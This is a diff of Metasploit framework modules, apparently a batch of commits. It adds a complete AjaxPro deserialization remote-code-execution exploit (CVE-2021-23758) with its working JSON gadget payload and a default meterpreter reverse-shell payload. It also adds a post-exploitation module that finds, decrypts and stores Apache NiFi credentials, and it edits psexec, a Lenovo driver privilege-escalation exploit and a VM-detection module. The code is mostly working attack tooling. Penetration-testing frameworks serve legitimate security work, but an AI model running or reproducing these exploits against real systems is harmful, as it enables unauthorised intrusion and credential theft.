+ end +end diff --git a/modules/exploits/windows/http/ajaxpro_deserialization_rce.rb b/modules/exploits/windows/http/ajaxpro_deserialization_rce.rb new file mode 100644 index 0000000000..a952c8eea5 --- /dev/null +++ b/modules/exploits/windows/http/ajaxpro_deserialization_rce.rb @@ -0,0 +1,190 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + + Rank = ExcellentRanking + + prepend Msf::Exploit::Remote::AutoCheck + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::CmdStager + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'AjaxPro Deserialization Remote Code Execution', + 'Description' => %q{ + This module leverages an insecure deserialization of data to get + remote code execution on the target OS in the context of the user + running the website which utilized AjaxPro. + + To achieve code execution, the module will construct some JSON data + which will be sent to the target. This data will be deserialized by + the AjaxPro JsonDeserializer and will trigger the execution of the + payload. + + All AjaxPro versions prior to 21.10.30.1 are vulnerable to this + issue, and a vulnerable method which can be used to trigger the + deserialization exists in the default AjaxPro namespace. + + AjaxPro 21.10.30.1 removed the vulnerable method, but if a custom + method that accepts a parameter of type that is assignable from + `ObjectDataProvider` (e.g. `object`) exists, the vulnerability can + still be exploited. + + This module has been tested successfully against official AjaxPro on + version 7.7.31.1 without any modification, and on version 21.10.30.1 + with a custom vulnerable method added. + }, + 'Author' => [ + 'Hans-Martin Münch (MOGWAI LABS)', # Discovery + 'Jemmy Wang' # MSF Module + ], + 'References' => [ + ['CVE', '2021-23758'], + ['URL', 'https://mogwailabs.de/en/blog/2022/01/vulnerability-spotlight-rce-in-ajax.net-professional/'] + ], + 'DisclosureDate' => '2021-12-03', + 'License' => MSF_LICENSE, + 'Platform' => ['windows'], + 'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64], + 'Privileged' => false, + 'Targets' => [ + [ + 'Windows Command', + { + 'Platform' => 'win', + 'Arch' => ARCH_CMD, + 'Type' => :win_cmd, + 'DefaultOptions' => { + 'PAYLOAD' => 'cmd/windows/powershell/meterpreter/reverse_tcp' + } + } + ], + [ + 'Windows Dropper', + { + 'Platform' => 'win', + 'Arch' => [ARCH_X86, ARCH_X64], + 'Type' => :win_dropper, + 'DefaultOptions' => { + 'PAYLOAD' => 'windows/meterpreter/reverse_tcp', + 'CMDSTAGER::FLAVOR' => 'certutil' + }, + 'CmdStagerFlavor' => %w[vbs certutil debug_write debug_asm tftp psh_invokewebrequest curl wget lwp-request] + } + ], + ], + 'DefaultOptions' => { 'WfsDelay' => 30 }, + 'DefaultTarget' => 0, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [SCREEN_EFFECTS, IOC_IN_LOGS, ARTIFACTS_ON_DISK] + } + ) + ) + + register_options([ + OptString.new('TARGETURI', [true, 'Base path to AjaxPro Handler', '/ajaxpro/']), + OptString.new('Namespace', [true, 'Namespace of vulnerable method', 'AjaxPro.Services.ICartService,AjaxPro.2']), + OptString.new('Method', [true, 'Name of vulnerable method', 'AddItem']), + OptString.new('Parameter', [true, 'Name of vulnerable parameter', 'item']) + ]) + + @ajax_pro = { ID: 'AjaxPro' } + end + + def check + res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'core.ashx'), + 'keep_cookies' => true + ) + unless res + return CheckCode::Unknown("Target did not respond to #{normalize_uri(target_uri.path, 'core.ashx')}") + end + + unless res.code == 200 && res.headers['Content-Type'].include?('application/x-javascript') + return CheckCode::Safe('Is not AjaxPro?') + end + + unless (cap = res.body.match(/ID: ?"(\S+?)",/).captures) + return CheckCode::Detected('Failed to get AjaxPro ID.') + end + + @ajax_pro[:ID] = cap[0] + + unless (cap = res.body.match(/version: ?"(\S+?)",/).captures) + return CheckCode::Detected('Failed to get AjaxPro version.') + end + + @ajax_pro[:version] = cap[0] + + if Rex::Version.new(@ajax_pro[:version]) >= Rex::Version.new('21.10.30.1') + return CheckCode::Safe("AjaxPro version #{@ajax_pro[:version]} is not vulnerable.") + end + + res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, datastore['Namespace'] + '.ashx'), + 'keep_cookies' => true + ) + unless res + return CheckCode::Appears('Failed to check if the target method exists.') + end + + unless res.code == 200 && res.body.match(/#{datastore['Method']}: ?function ?\((\S+?, ?)*#{datastore['Parameter']}(, ?\S+?)*\) ?\{/) + return CheckCode::Appears("But method '#{datastore['Method']}' with parameter '#{datastore['Parameter']}' was not found in namespace '#{datastore['Namespace']}'") + end + + CheckCode::Appears("Confirmed target method exists and the AjaxPro version (#{@ajax_pro[:version]}) is vulnerable.") + end + + def execute_command(cmd, _opts = {}) + vprint_status("Executing command: #{cmd}") + json_post_data = JSON.generate( + { + "#{datastore['Parameter']}": { + __type: 'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35', + MethodName: 'Start', + ObjectInstance: { + __type: 'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089', + StartInfo: { + __type: 'System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089', + FileName: 'cmd', + Arguments: "/c #{cmd}" + } + } + } + } + ) + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, datastore['Namespace'] + '.ashx'), + 'ctype' => 'text/plain; charset=utf-8', + 'headers' => { "X-#{@ajax_pro[:ID]}-Method" => datastore['Method'] }, + 'data' => json_post_data + }) + unless res + fail_with(Failure::Unreachable, "Request to #{normalize_uri(target_uri.path, datastore['Namespace'] + '.ashx')} failed.") + end + + unless res.code == 200 + fail_with(Failure::Unknown, "Failed to execute command. Server returned #{res.code} status.") + end + end + + def exploit + case target['Type'] + when :win_cmd + execute_command(payload.encoded) + when :win_dropper + execute_cmdstager(background: true, delay: 1) + end + end +end diff --git a/modules/exploits/windows/local/cve_2022_3699_lenovo_diagnostics_driver.rb b/modules/exploits/windows/local/cve_2022_3699_lenovo_diagnostics_driver.rb index 3504706553..8595f5662c 100644 --- a/modules/exploits/windows/local/cve_2022_3699_lenovo_diagnostics_driver.rb +++ b/modules/exploits/windows/local/cve_2022_3699_lenovo_diagnostics_driver.rb @@ -76,12 +76,12 @@ class MetasploitModule < Msf::Exploit::Local end def target_compatible? - build_num = sysinfo['OS'].match(/Build (\d+)/)[1].to_i - vprint_status("Windows Build Number = #{build_num}") + version = get_version_info + vprint_status("Windows Build Number = #{version.build_number}") - return true if sysinfo['OS'] =~ /Windows 10/ && build_num >= 14393 && build_num <= 19045 - return true if sysinfo['OS'] =~ /Windows 11/ && build_num == 22000 - return true if sysinfo['OS'] =~ /Windows 2016\+/ && build_num >= 17763 && build_num <= 20348 + return true if version.build_number.between?(Msf::WindowsVersion::Win10_1607, Msf::WindowsVersion::Win10_22H2) + return true if version.build_number == Msf::WindowsVersion::Win11_21H2 + return true if version.build_number.between?(Msf::WindowsVersion::Server2019, Msf::WindowsVersion::Server2022) false end diff --git a/modules/exploits/windows/local/ms15_078_atmfd_bof.rb b/modules/exploits/windows/local/ms15_078_atmfd_bof.rb index 1702730ff3..33b91912ee 100644 --- a/modules/exploits/windows/local/ms15_078_atmfd_bof.rb +++ b/modules/exploits/windows/local/ms15_078_atmfd_bof.rb @@ -384,8 +384,8 @@ class MetasploitModule < Msf::Exploit::Local library_path = ::File.expand_path(library_path) print_status("Reflectively injecting the exploit DLL into #{process.pid}...") - dll = '' - ::File.open(library_path, 'rb') { |f| dll = f.read } + encrypted_dll = ::File.binread(library_path) + dll = ::MetasploitPayloads::Crypto.decrypt(ciphertext: encrypted_dll) patch_win32k_offsets(dll) patch_nt_offsets(dll) diff --git a/modules/exploits/windows/smb/psexec.rb b/modules/exploits/windows/smb/psexec.rb index 083f182fc0..b6ca12fe8f 100644 --- a/modules/exploits/windows/smb/psexec.rb +++ b/modules/exploits/windows/smb/psexec.rb @@ -21,6 +21,7 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::EXE include Msf::Exploit::WbemExec include Msf::Auxiliary::Report + include Msf::OptionalSession def initialize(info = {}) super(update_info(info, @@ -68,6 +69,7 @@ class MetasploitModule < Msf::Exploit::Remote [ 'Command', { 'Arch' => [ARCH_CMD], 'Payload' => { 'Space' => 8191 } } ] ], 'DefaultTarget' => 0, + 'SessionTypes' => %w[SMB], # For the CVE, PsExec was first released around February or March 2001 'DisclosureDate' => '1999-01-01' )) @@ -125,28 +127,7 @@ class MetasploitModule < Msf::Exploit::Remote smbshare = 'ADMIN$' end - print_status("Connecting to the server...") - connect - - print_status("Authenticating to #{smbhost} as user '#{splitname(datastore['SMBUser'])}'...") - smb_login - - if not simple.client.auth_user and not datastore['ALLOW_GUEST'] - print_line(" ") - print_error( - "FAILED! The remote host has only provided us with Guest privileges. " + - "Please make sure that the correct username and password have been provided. " + - "Windows XP systems that are not part of a domain will only provide Guest privileges " + - "to network logins by default." - ) - print_line(" ") - disconnect - return - end - - if datastore['SMBUser'].to_s.strip.length > 0 - report_auth - end + create_simple_smb_client! case target.name when 'Automatic' @@ -214,4 +195,37 @@ class MetasploitModule < Msf::Exploit::Remote login_data.merge!(service_data) create_credential_login(login_data) end + + def create_simple_smb_client! + if session + print_status("Using existing session #{session.sid}") + client = session.client + self.simple = ::Rex::Proto::SMB::SimpleClient.new(client.dispatcher.tcp_socket, client: client) + + else + print_status('Connecting to the server...') + connect + + print_status("Authenticating to #{smbhost} as user '#{splitname(datastore['SMBUser'])}'...") + smb_login + + if !simple.client.auth_user && !datastore['ALLOW_GUEST'] + print_line + print_error( + 'FAILED! The remote host has only provided us with Guest privileges. ' \ + 'Please make sure that the correct username and password have been provided. ' \ + 'Windows XP systems that are not part of a domain will only provide Guest privileges ' \ + 'to network logins by default.' + ) + print_line + disconnect + return + end + + unless datastore['SMBUser'].to_s.strip.empty? + report_auth + end + + end + end end diff --git a/modules/post/linux/gather/apache_nifi_credentials.rb b/modules/post/linux/gather/apache_nifi_credentials.rb new file mode 100644 index 0000000000..7c3d644c33 --- /dev/null +++ b/modules/post/linux/gather/apache_nifi_credentials.rb @@ -0,0 +1,377 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Post + include Msf::Post::File + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Apache NiFi Credentials Gather', + 'Description' => %q{ + This module will grab Apache NiFi credentials from various files on Linux. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'h00die', # Metasploit Module + 'Topaco', # crypto assist + ], + 'Platform' => ['linux', 'unix'], + 'SessionTypes' => ['shell', 'meterpreter'], + 'References' => [ + ['URL', 'https://stackoverflow.com/questions/77391210/python-vs-ruby-aes-pbkdf2'], + ['URL', 'https://nifi.apache.org/docs/nifi-docs/html/administration-guide.html#nifi_sensitive_props_key'] + ], + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [], + 'SideEffects' => [] + } + ) + ) + + register_options( + [ + OptString.new('NIFI_PATH', [false, 'NiFi folder', '/opt/nifi/']), + OptString.new('NIFI_PROPERTIES', [false, 'NiFi Properties file', '/opt/nifi/conf/nifi.properties']), + OptString.new('NIFI_FLOW_JSON', [false, 'NiFi flow.json.gz file', '/opt/nifi/conf/flow.json.gz']), + OptString.new('NIFI_IDENTITY', [false, 'NiFi login-identity-providers.xml file', '/opt/nifi/conf/login-identity-providers.xml']), + OptString.new('NIFI_AUTHORIZERS', [false, 'NiFi authorizers file', '/opt/nifi/conf/authorizers.xml']), + OptInt.new('ITERATIONS', [true, 'Encryption iterations', 160_000]) + ], self.class + ) + end + + def authorizers_file + return @authorizers_file if @authorizers_file + + [datastore['NIFI_authorizers'], "#{datastore['NIFI_PATH']}/conf/authorizers.xml"].each do |f| + unless file_exist? f + vprint_bad("#{f} not found") + next + end + vprint_status("Found authorizers.xml file #{f}") + unless readable? f + vprint_bad("#{f} not readable") + next + end + print_good("#{f} is readable!") + @authorizers_file = f + break + end + @authorizers_file + end + + def identity_file + return @identity_file if @identity_file + + [datastore['NIFI_IDENTITY'], "#{datastore['NIFI_PATH']}/conf/login-identity-providers.xml"].each do |f| + unless file_exist? f + vprint_bad("#{f} not found") + next + end + vprint_status("Found login-identity-providers.xml file #{f}") + unless readable? f + vprint_bad("#{f} not readable") + next + end + print_good("#{f} is readable!") + @identity_file = f + break + end + @identity_file + end + + def properties_file + return @properties_file if @properties_file + + [datastore['NIFI_PROPERTIES'], "#{datastore['NIFI_PATH']}/conf/nifi.properties"].each do |f| + unless file_exist? f + vprint_bad("#{f} not found") + next + end + vprint_status("Found nifi.properties file #{f}") + unless readable? f + vprint_bad("#{f} not readable") + next + end + print_good("#{f} is readable!") + @properties_file = f + break + end + @properties_file + end + + def flow_file + return @flow_file if @flow_file + + [datastore['NIFI_FLOW_JSON'], "#{datastore['NIFI_PATH']}/conf/flow.json.gz"].each do |f| + unless file_exist? f + vprint_bad("#{f} not found") + next + end + vprint_status("Found flow.json.gz file #{f}") + unless readable? f + vprint_bad("#{f} not readable") + next + end + print_good("#{f} is readable!") + @flow_file = f + break + end + @flow_file + end + + def salt + 'NiFi Static Salt' + end + + def process_type_azure_storage_credentials_controller_service(name, service) + table_entries = [] + storage_account_name = parse_aes_256_gcm_enc_string(service['storage-account-name']) + return table_entries if storage_account_name.nil? + + storage_account_name_decrypt = decrypt_aes_256_gcm(storage_account_name, @decrypted_key) + + # this is optional + if service['managed-identity-client-id'] + client_id = parse_aes_256_gcm_enc_string(service['managed-identity-client-id']) + return table_entries if client_id.nil? + + client_id_decrypt = decrypt_aes_256_gcm(client_id, @decrypted_key) + else + client_id_decrypt = '' + end + + sas_token = parse_aes_256_gcm_enc_string(service['storage-sas-token']) + return table_entries if sas_token.nil? + + sas_token_decrypt = decrypt_aes_256_gcm(sas_token, @decrypted_key) + + information = "storage-account-name: #{storage_account_name_decrypt}" + information << ", storage-endpoint-suffix: #{service['storage-endpoint-suffix']}" if service['storage-endpoint-suffix'] + table_username = client_id_decrypt.empty? ? '' : "managed-identity-client-id: #{client_id_decrypt}" + + @flow_json_string = @flow_json_string.gsub(service['storage-sas-token'], sas_token_decrypt) + @flow_json_string = @flow_json_string.gsub(service['storage-account-name'], storage_account_name_decrypt) + @flow_json_string = @flow_json_string.gsub(service['managed-identity-client-id'], client_id_decrypt) unless client_id_decrypt.empty? + table_entries << [name, table_username, sas_token_decrypt, information] + table_entries + end + + # This function is built to attempt to decrypt a processor/service that we dont have a specific decryptor for. + # we may miss grouping some fields together, but its better to print them out than do nothing with them. + def process_type_generic(name, processor) + table_entries = [] + processor.each do |property| + property_name = property[0] + property_value = property[1] + next unless property_value.is_a? String + next unless property_value.starts_with? 'enc{' + + password = parse_aes_256_gcm_enc_string(property_value) + next if password.nil? + + password_decrypt = decrypt_aes_256_gcm(password, @decrypted_key) + table_entries << [name, '', password_decrypt, "Property name: #{property_name}"] + @flow_json_string = @flow_json_string.gsub(property_value, password_decrypt) + end + table_entries + end + + def process_type_org_apache_nifi_processors_standard_gethttp(name, processor) + table_entries = [] + return table_entries unless processor['Password'] + + username = processor['Username'] + url = processor['URL'] + password = parse_aes_256_gcm_enc_string(processor['Password']) + return table_entries if password.nil? + + password_decrypt = decrypt_aes_256_gcm(password, @decrypted_key) + table_entries << [name, username, password_decrypt, "URL: #{url}"] + @flow_json_string = @flow_json_string.gsub(processor['Password'], password_decrypt) + table_entries + end + + def process_type_standard_restricted_ssl_context_service(controller_properties) + table_entries = [] + if controller_properties['Keystore Filename'] && controller_properties['Keystore Password'] + name = 'Keystore' + username = controller_properties['Keystore Filename'] + password = parse_aes_256_gcm_enc_string(controller_properties['Keystore Password']) + unless password.nil? + password_decrypt = decrypt_aes_256_gcm(password, @decrypted_key) + table_entries << [name, username, password_decrypt, ''] + @flow_json_string = @flow_json_string.gsub(controller_properties['Keystore Password'], password_decrypt) + end + end + + if controller_properties['Truststore Filename'] && controller_properties['Truststore Password'] + name = 'Truststore' + username = controller_properties['Truststore Filename'] + password = parse_aes_256_gcm_enc_string(controller_properties['Truststore Password']) + unless password.nil? + password_decrypt = decrypt_aes_256_gcm(password, @decrypted_key) + table_entries << [name, username, password_decrypt, "Truststore Type #{controller_properties['Truststore Type']}"] + @flow_json_string = @flow_json_string.gsub(controller_properties['Truststore Password'], password_decrypt) + end + end + + return table_entries unless controller_properties['Truststore Filename'] && controller_properties['key-password'] + + name = 'Key Password' + username = controller_properties['Truststore Filename'] + password = parse_aes_256_gcm_enc_string(controller_properties['key-password']) + return table_entries if password.nil? + + password_decrypt = decrypt_aes_256_gcm(password, @decrypted_key) + table_entries << [name, username, password_decrypt, "Truststore Type #{controller_properties['Truststore Type']}"] + @flow_json_string = @flow_json_string.gsub(controller_properties['key-password'], password_decrypt) + + table_entries + end + + def decrypt_aes_256_gcm(enc_fields, key) + vprint_status(' Decryption initiated for AES-256-GCM') + vprint_status(" Nonce: #{enc_fields[:nonce]}, Auth Tag: #{enc_fields[:auth_tag]}, Ciphertext: #{enc_fields[:ciphertext]}") + cipher = OpenSSL::Cipher.new('AES-256-GCM') + cipher.decrypt + cipher.key = key + cipher.iv_len = 16 + cipher.iv = [enc_fields[:nonce]].pack('H*') + cipher.auth_tag = [enc_fields[:auth_tag]].pack('H*') + + decrypted_text = cipher.update([enc_fields[:ciphertext]].pack('H*')) + decrypted_text << cipher.final + decrypted_text + end + + def parse_aes_256_gcm_enc_string(password) + password = password[4, password.length - 5] # remove enc{ at the beginning and } at the end + password.match(/(?\w{32})(?\w+)(?\w{32})/) # parse out the fields + end + + def run + unless ((flow_file && properties_file) || identity_file) + fail_with(Failure::NotFound, 'Unable to find login-identity-providers.xml, nifi.properties and/or flow.json.gz files') + end + + properties = read_file(properties_file) + path = store_loot('nifi.properties', 'text/plain', session, properties, 'nifi.properties', 'nifi properties file') + print_good("properties data saved in: #{path}") + key = properties.scan(/^nifi.sensitive.props.key=(.+)$/).flatten.first.strip + fail_with(Failure::NotFound, 'Unable to find nifi.properties and/or flow.json.gz files') if key.nil? + print_good("Key: #{key}") + algorithm = properties.scan(/^nifi.sensitive.props.algorithm=(\w+)$/).flatten.first.strip + fail_with(Failure::NotFound, 'Unable to find nifi.properties and/or flow.json.gz files') if algorithm.nil? + + columns = ['Name', 'Username', 'Password', 'Other Information'] + table = Rex::Text::Table.new('Header' => 'NiFi Flow Data', 'Indent' => 1, 'Columns' => columns) + + if flow_file + flow_json = Zlib.gunzip(read_file(flow_file)) + + path = store_loot('nifi.flow.json', 'application/json', session, flow_json, 'flow.json', 'nifi flow data') + print_good("Original data containing encrypted fields saved in: #{path}") + + flow_json = JSON.parse(flow_json) + @flow_json_string = JSON.pretty_generate(flow_json) # so we can save an unencrypted version as well + + # NIFI_PBKDF2_AES_GCM_256 is the default as of 1.14.0 + # leave this as an if statement so it can be expanded to include more algorithms in the future + if algorithm == 'NIFI_PBKDF2_AES_GCM_256' + # https://gist.github.com/tylerpace/8f64b7e00ffd9fb1ef5ea70df0f9442f + @decrypted_key = OpenSSL::PKCS5.pbkdf2_hmac(key, salt, datastore['ITERATIONS'], 32, OpenSSL::Digest.new('SHA512')) + + vprint_status('Checking root group processors') + flow_json.dig('rootGroup', 'processors').each do |processor| + vprint_status(" Analyzing #{processor['processor']} of type #{processor['type']}") + case processor['type'] + when 'org.apache.nifi.processors.standard.GetHTTP' + table_entries = process_type_org_apache_nifi_processors_standard_gethttp(processor['name'], processor['properties']) + else + table_entries = process_type_generic(processor['name'], processor['properties']) + end + table.rows.concat table_entries + end + + vprint_status('Checking root group controller services') + flow_json.dig('rootGroup', 'controllerServices').each do |service| + vprint_status(" Analyzing #{service['name']} of type #{service['type']}") + case service['type'] + when 'org.apache.nifi.services.azure.storage.AzureStorageCredentialsControllerService_v12', + 'org.apache.nifi.services.azure.storage.AzureStorageCredentialsControllerService' + table_entries = process_type_azure_storage_credentials_controller_service(service['name'], service['properties']) + when 'org.apache.nifi.ssl.StandardRestrictedSSLContextService' + table_entries = process_type_standard_restricted_ssl_context_service(service['properties']) + else + table_entries = process_type_generic(service['name'], service['properties']) + end + table.rows.concat table_entries + end + + else + print_bad("Processor for #{algorithm} not implemented in module. Use nifi-toolkit to potentially change algorithm.") + end + + unless @flow_json_string == JSON.pretty_generate(flow_json) # dont write if we didn't change anything + path = store_loot('nifi.flow.decrypted.json', 'application/json', session, @flow_json_string, 'flow.decrypted.json', 'nifi flow data decrypted') + print_good("Decrypted data saved in: #{path}") + end + end + + vprint_status('Checking identity file') + if identity_file + identity_content = read_file(identity_file) + xml = Nokogiri::XML.parse(identity_content) + + xml.xpath('//loginIdentityProviders//provider').each do |c| + name = c.xpath('identifier').text + username = c.xpath('property[@name="Username"]').text + hash = c.xpath('property[@name="Password"]').text + next if (username.blank? || hash.blank?) + + table << [name, username, hash, 'From login-identity-providers.xml'] + + credential_data = { + jtr_format: Metasploit::Framework::Hashes.identify_hash(hash), + origin_type: :session, + post_reference_name: refname, + private_type: :nonreplayable_hash, + private_data: hash, + session_id: session_db_id, + username: username, + workspace_id: myworkspace_id + } + create_credential(credential_data) + end + end + + vprint_status('Checking authorizers file') + if authorizers_file + authorizers_content = read_file(authorizers_file) + xml = Nokogiri::XML.parse(authorizers_content) + + xml.xpath('//authorizers//userGroupProvider').each do |c| + next if c.xpath('property[@name="Client Secret"]').text.blank? + + name = c.xpath('identifier').text + username = "Directory/Tenant ID: #{c.xpath('property[@name="Directory ID"]').text}" \ + ", Application ID: #{c.xpath('property[@name="Application ID"]').text}" + password = c.xpath('property[@name="Client Secret"]').text + next if (username.blank? || hash.blank?) + + table << [name, username, password, 'From authorizers.xml'] + end + end + + if !table.rows.empty? + print_good('NiFi Flow Values') + print_line(table.to_s) + end + end +end diff --git a/modules/post/windows/gather/checkvm.rb b/modules/post/windows/gather/checkvm.rb index 457acbfef0..5367307901 100644 --- a/modules/post/windows/gather/checkvm.rb +++ b/modules/post/windows/gather/checkvm.rb @@ -40,26 +40,90 @@ class MetasploitModule < Msf::Post ) end - def get_services - @services ||= registry_enumkeys('HKLM\\SYSTEM\\ControlSet001\\Services') - @services + # enumerates through a list of VM signature processes and compares them to + # the processes running, returns true upon a match. + def processes_exist?(vm_processes) + vm_processes.each do |x| + @processes.each do |p| + return true if p['name'].casecmp?(x) + end + end + false + end + + # loops over a list of services that are known to be signatures of vm's and + # compares them to the list of running services. + def services_exist?(vm_services) + vm_services.each do |srvc| + return true if service_exists?(srvc) + end + false end def service_exists?(service) - get_services && get_services.include?(service) + @services.include?(service) + end + + # registers relevant keys and stores them in a hash + def register_keys(key_list) + @keys = {} + key_list.each do |k| + srvals = get_srval(k) + srvals = [] if srvals.nil? + @keys.store(k, srvals) + end + @keys + end + + # checks the values of the keys and compares them to vm_k + def key_present?(vm_k) + @keys.each_value do |v| + return true if v.include?(vm_k) + end + false + end + + def get_srval(key) + srvals = registry_enumkeys(key) + srvals = [] if srvals.nil? + srvals + end + + # returns true if regval matches a regex + def regval_match?(key, val, rgx) + return true if get_regval_str(key, val) =~ rgx + + false + end + + # returns true if regval is eql to a string + def regval_eql?(key, val, str) + get_regval_str(key, val) == str end def get_regval_str(key, valname) ret = registry_getvaldata(key, valname) - if ret.kind_of(Array) + if ret.is_a?(Array) ret = ret.join end ret end + def parallels? + @system_bios_version = get_regval_str('HKLM\\HARDWARE\\DESCRIPTION\\System', 'SystemBiosVersion') + + @video_bios_version = get_regval_str('HKLM\\HARDWARE\\DESCRIPTION\\System', 'VideoBiosVersion') + + if @system_bios_version =~ /parallels/i || @video_bios_version =~ /parallels/i + return true + end + + false + end def hyperv? physical_host = get_regval_str('HKLM\\SOFTWARE\\Microsoft\\Virtual Machine\\Guest\\Parameters', 'PhysicalHostNameFullyQualified') + if physical_host report_note( host: session, @@ -67,46 +131,59 @@ class MetasploitModule < Msf::Post data: { physicalHost: physical_host }, update: :unique_data ) + print_good("This is a Hyper-V Virtual Machine running on physical host #{physical_host}") return true end sfmsvals = registry_enumkeys('HKLM\\SOFTWARE\\Microsoft') if sfmsvals - return true if sfmsvals.include?('Hyper-V') - return true if sfmsvals.include?('VirtualMachine') + %w[Hyper-V VirtualMachine].each do |vm| + return true if sfmsvals.include?(vm) + end end - return true if get_regval_str('HKLM\\HARDWARE\\DESCRIPTION\\System', 'SystemBiosVersion') =~ /vrtual/i - - %w[HKLM\\HARDWARE\\ACPI\\FADT HKLM\\HARDWARE\\ACPI\\RSDT].each do |key| - srvvals = registry_enumkeys(key) - return true if srvvals && srvvals.include?('VRTUAL') + if @system_bios_version =~ /vrtual/i || @system_bios_version == 'Hyper-V' + return true end - %w[vmicexchange vmicheartbeat vmicshutdown vmicvss].each do |service| - return true if service_exists?(service) - end + keys = %w[HKLM\\HARDWARE\\ACPI\\FADT HKLM\\HARDWARE\\ACPI\\RSDT HKLM\\HARDWARE\\ACPI\\DSDT] - key_path = 'HKLM\\HARDWARE\\DESCRIPTION\\System' - system_bios_version = get_regval_str(key_path, 'SystemBiosVersion') - return true if system_bios_version && system_bios_version.include?('Hyper-V') + register_keys(keys) - key_path = 'HKLM\\HARDWARE\\DEVICEMAP\\Scsi\\Scsi Port 0\\Scsi Bus 0\\Target Id 0\\Logical Unit Id 0' - return true if get_regval_str(key_path, 'Identifier') =~ /Msft Virtual Disk 1.0/i + return true if key_present?('VRTUAL') + + hyperv_services = %w[vmicexchange] + + return true if services_exist?(hyperv_services) false end def vmware? - %w[vmdebug vmmouse VMTools VMMEMCTL tpautoconnsvc tpvcgateway vmware wmci vmx86].each do |service| - return true if service_exists?(service) - end + vmware_services = %w[ + vmdebug vmmouse VMTools VMMEMCTL tpautoconnsvc + tpvcgateway vmware wmci vmx86 + ] + + return true if services_exist?(vmware_services) + + @system_manufacturer = get_regval_str('HKLM\\HARDWARE\\DESCRIPTION\\System\\BIOS', + 'SystemManufacturer') + + return true if @system_manufacturer =~ /vmware/i + + @scsi_port_1 = get_regval_str('HKLM\\HARDWARE\\DEVICEMAP\\Scsi\\Scsi Port 1\\Scsi Bus 0\\Target Id 0\\Logical Unit Id 0', + 'Identifier') + + return true if @scsi_port_1 =~ /vmware/i + + return true if regval_match?( + 'HKLM\\SYSTEM\\ControlSet001\\Control\\Class\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0000', + 'DriverDesc', + /cl_vmx_svga|VMWare/i + ) - return true if get_regval_str('HKLM\\HARDWARE\\DESCRIPTION\\System\\BIOS', 'SystemManufacturer') =~ /vmware/i - return true if get_regval_str('HKLM\\HARDWARE\\DEVICEMAP\\Scsi\\Scsi Port 0\\Scsi Bus 0\\Target Id 0\\Logical Unit Id 0', 'Identifier') =~ /vmware/i - return true if get_regval_str('HKLM\\HARDWARE\\DEVICEMAP\\Scsi\\Scsi Port 1\\Scsi Bus 0\\Target Id 0\\Logical Unit Id 0', 'Identifier') =~ /vmware/i - return true if get_regval_str('HKLM\\SYSTEM\\ControlSet001\\Control\\Class\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0000', 'DriverDesc') =~ /cl_vmx_svga|VMWare/i vmwareprocs = [ 'vmtoolsd.exe', @@ -114,11 +191,8 @@ class MetasploitModule < Msf::Post 'vmwaretray.exe', 'vmwareuser.exe' ] - get_processes.each do |x| - vmwareprocs.each do |p| - return true if p == x['name'].downcase - end - end + + return true if processes_exist?(vmwareprocs) false end @@ -128,28 +202,29 @@ class MetasploitModule < Msf::Post 'vboxservice.exe', 'vboxtray.exe' ] - get_processes.each do |x| - vboxprocs.each do |p| - return true if p == x['name'].downcase - end + + vbox_srvcs = %w[VBoxMouse VBoxGuest VBoxService VBoxSF VBoxVideo] + + if services_exist?(vbox_srvcs) || processes_exist?(vboxprocs) + return true end - %w[HKLM\\HARDWARE\\ACPI\\DSDT HKLM\\HARDWARE\\ACPI\\FADT HKLM\\HARDWARE\\ACPI\\RSDT].each do |key| - srvvals = registry_enumkeys(key) - return true if srvvals && srvvals.include?('VBOX__') - end + return true if key_present?('VBOX__') for i in 0..2 do - return true if get_regval_str("HKLM\\HARDWARE\\DEVICEMAP\\Scsi\\Scsi Port #{i}0\\Scsi Bus 0\\Target Id 0\\Logical Unit Id 0", 'Identifier') =~ /vbox/i + return true if regval_match?( + "HKLM\\HARDWARE\\DEVICEMAP\\Scsi\\Scsi Port #{i}0\\Scsi Bus 0\\Target + Id 0\\Logical Unit Id 0", + 'Identifier', + /vbox/i + ) end - return true if get_regval_str('HKLM\\HARDWARE\\DESCRIPTION\\System', 'SystemBiosVersion') =~ /vbox/i - return true if get_regval_str('HKLM\\HARDWARE\\DESCRIPTION\\System', 'VideoBiosVersion') =~ /virtualbox/i - return true if get_regval_str('HKLM\\HARDWARE\\DESCRIPTION\\System\\BIOS', 'SystemProductName') =~ /virtualbox/i + return true if @system_bios_version =~ /vbox/i || @video_bios_version =~ /virtualbox/i - %w[VBoxMouse VBoxGuest VBoxService VBoxSF VBoxVideo].each do |service| - return true if service_exists?(service) - end + @system_product_name = get_regval_str('HKLM\\HARDWARE\\DESCRIPTION\\System\\BIOS', 'SystemProductName') + + return true if @system_product_name =~ /virtualbox/i false end @@ -158,52 +233,36 @@ class MetasploitModule < Msf::Post xenprocs = [ 'xenservice.exe' ] - get_processes.each do |x| - xenprocs.each do |p| - return true if p == x['name'].downcase - end + + xen_srvcs = %w[xenevtchn xennet xennet6 xensvc xenvdb] + + if processes_exist?(xenprocs) || services_exist?(xen_srvcs) + return true end - %w[HKLM\\HARDWARE\\ACPI\\DSDT HKLM\\HARDWARE\\ACPI\\FADT 